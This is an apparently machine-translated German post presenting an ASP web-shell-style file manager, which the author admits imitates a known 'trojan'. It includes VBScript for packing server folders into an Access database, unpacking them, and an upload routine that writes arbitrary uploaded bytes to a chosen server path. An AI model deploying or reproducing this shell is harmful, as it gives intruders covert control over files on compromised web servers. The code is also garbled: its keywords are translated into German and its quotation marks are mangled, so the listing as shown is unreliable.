Dies ist ein FSO-Dateibrowser, der mit FSO-Sammlungsobjekten geschrieben wurde (wenn Sie darauf bestehen, dass es sich um einen Trojaner handelt, habe ich keine Einwände. Funktionell imitiert er das Design des „Top-Trojaners des Ozeans“, aber der Code wurde komplett neu geschrieben). . Verwendung von Komponenten wie Shell.Application, die leicht zu einer versehentlichen Tötung durch Antivirensoftware führen können. Es gibt viele ähnliche Tools im Internet. Der Nutzen dieses Tools ist nicht sehr groß, aber viele der darin enthaltenen Codes gelten als gut geschrieben.
Zu den Hauptmerkmalen gehören: Zeigen Sie Festplatteninformationen an, durchsuchen Sie Festplattendateien und führen Sie ähnliche Aktionen wie im Windows Explorer aus, z. B. Erstellen, Löschen, Umbenennen, Kopieren, Verschieben und andere grundlegende Bearbeitungen von Textdateien.
Der Datei-Download im Stream-Modus vereinfacht und optimiert das komponentenlose Hochladen von Dateien. Ein Ordner kann vollständig gepackt/entpackt werden.
Codeausschnitt:
1. Teil zum Verpacken/Auspacken der Datei
Unterpaket ( ByVal FPath, ByVal sDbPath) Server.ScriptTimeOut=900 DbPath dimmen Wenn Right(sDbPath,4)= ".mdb" Dann DbPath=sDbPath Anders DbPath=sDbPath „.mdb“ Ende Wenn Wenn oFso.FolderExists(DbPath) dann EchoBack „Datenbankdatei kann nicht erstellt werden!“ &Replace(DbPath, „“, „ \“) Ausfahrt Sub Ende Wenn Wenn oFso.FileExists(DbPath) Dann oFso.DeleteFile DbPath Ende Wenn Wenn IsFolder(FPath) Dann RootPath=GetParentFolder(FPath) Wenn Right(RootPath,1)<> "" Then RootPath=RootPath&" " Anders EchoBack „Bitte geben Sie den Ordnerpfad ein!“ Ausfahrt Sub Ende Wenn Dimmen Sie oCatalog,connStr,DataName Setze conn=Server.CreateObject( "ADODB.Connection" ) Setze oStream=Server.CreateObject( "ADODB.Stream" ) Legen Sie oCatalog=Server.CreateObject( "ADOX.Catalog" ) fest. Setze rs=Server.CreateObject( "ADODB.RecordSet" ) An Fehler Wieder aufnehmen Nächste connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath oCatalog.Create connStr Wenn Sie sich irren , dann EchoBack „Datenbankdatei kann nicht erstellt werden!“ &Replace(DbPath, „“, „ \“) Ausfahrt Sub Ende Wenn Setzen Sie oCatalog= Nothing conn.Open connStr conn.Execute( "Tabellendateien erstellen (ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" ) oStream.Open oStream.Type=1 rs.Öffnen Sie „Dateien“ ,conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1) NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName) FailFileList= "" PackFolderFPath Wenn FailFilelist= "" Dann EchoClose „Ordnerverpackung gelungen!“ Anders Response.Write „ “ Response.Write „“ Response.Write "" &Replace(FailFilelist, "|" , " " ) "" Ende Wenn oStream.Schließen rs.Schließen conn.Schließen Ende Sub Sub PackFolder(FolderPath) Wenn Dann nicht IsFolder(FolderPath). Ausfahrt Sub oFolder, sFile, sFolder dimmen Setze oFolder=oFso.GetFolder(FolderPath) Für Jede sDatei in oFolder.Files Wenn InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Dann PackFile sFile.Path Ende Wenn Nächste Setze sFile = Nothing Für Jeder sFolder in oFolder.SubFolders PackFolder sFolder.Path Nächste Setze sFolder= Nothing Ende Sub Sub PackFile(FilePath) Dimmen Sie RelPath RelPath=Replace(FilePath,RootPath, "" ) An Fehler Wieder aufnehmen Nächste Fehler.Klar Fehler = Falsch oStream.LoadFromFile FilePath rs.AddNew rs( "FilePath" )=RelPath rs( "FileData" )=oStream.Read() rs.Update Wenn Sie sich irren , dann FailFilelist=FailFilelist&FilePath „|“ Ende Wenn Ende Sub Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 FilePath,FolderPath,sFolderPath abblenden FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<> : Dann EchoBack „Das Pfadformat ist falsch und das Verzeichnis kann nicht erstellt werden!“ Ausfahrt Sub Ende Wenn Wenn Right(FolderPath,1)= "" Dann FolderPath=Left(FolderPath,Len(FolderPath)-1) Dimmen Sie connStr Setze conn=Server.CreateObject( "ADODB.Connection" ) Setze oStream=Server.CreateObject( "ADODB.Stream" ) Setze rs=Server.CreateObject( "ADODB.RecordSet" ) connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath An Fehler Wieder aufnehmen Nächste Fehler = Falsch conn.Open connStr Wenn Sie sich irren , dann EchoBack „Fehler beim Öffnen der Datenbank!“ Ausfahrt Sub Ende Wenn Fehler = Falsch oStream.Open oStream.Type=1 rs.Öffnen Sie „Dateien“ ,conn,1,1 FailFilelist= "" Tun Bis rs.EOF Fehler.Klar Fehler = Falsch FilePath=FolderPath ""&rs(" FilePath") FilePath=Replace(FilePath, „\“, „ “) sFolderPath=Left(FilePath,InStrRev(FilePath, "" )) Wenn Nicht oFso.FolderExists(sFolderPath) Dann CreateFolder(sFolderPath) Ende Wenn oStream.SetEos() oStream.Write rs( "FileData" ) oStream.SaveToFile FilePath,2 Wenn Sie sich irren , dann FailFilelist=FailFilelist&rs( "FilePath" ).Value "|" Ende Wenn rs.MoveNext Schleife rs.Schließen Setze rs = Nichts conn.Schließen Setze conn= Nichts Setzen Sie oStream = Nothing Wenn FailFilelist= "" Dann EchoClose „Datei entpacken erfolgreich!“ Anders Response.Write „ “ Response.Write „“ Response.Write "" &Replace(FailFilelist, "|" , " " ) "" Ende Wenn Ende Sub
2. Datei-Upload-Teil (einzelne Datei):
Sub Saveupload ( ByVal FolderName) Wenn Nicht IsFolder(FolderName) Then EchoClose „Kein Upload-Ordner angegeben!“ Ausfahrt Sub Ende Wenn Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<> "" Then Path=Path&" " FileName=Replace(Request( "filename" ), ""," ") Wenn Len(FileName)<1 Then EchoBack „Bitte wählen Sie die Datei aus und geben Sie den Dateinamen ein!“ Ausfahrt Sub Ende Wenn Pfad=Pfad Wenn LCase(Request( "overwrite" ))= "true" Dann ist IsOverWrite= True Sonst IsOverWrite= False Ende Wenn An Fehler Wieder aufnehmen Nächste Rufen Sie MyUpload(Path,IsOverWrite) auf. Wenn Err Then EchoBack „Datei-Upload fehlgeschlagen! (Die Datei ist möglicherweise bereits vorhanden)“ Sonst EchoClose „Datei erfolgreich hochgeladen!n“ & Ersetzen(Dateiname, „“, „ \“) Ende Wenn Ende Sub- Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes Wenn RequestSize<1, dann Ausfahrt Sub Setze oStream=Server.CreateObject( "ADODB.Stream" ) Setze tStream=Server.CreateObject( "ADODB.Stream" ) Mit oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace =LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData= "" iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize Wenn IsOverWrite , dann tStream.SaveToFile FilePath,2 Sonst tStream.SaveToFile FilePath Ende Wenn tStream.Close .Close Ende Mit SettStream = Nichts Setzen Sie oStream= Nothing End Sub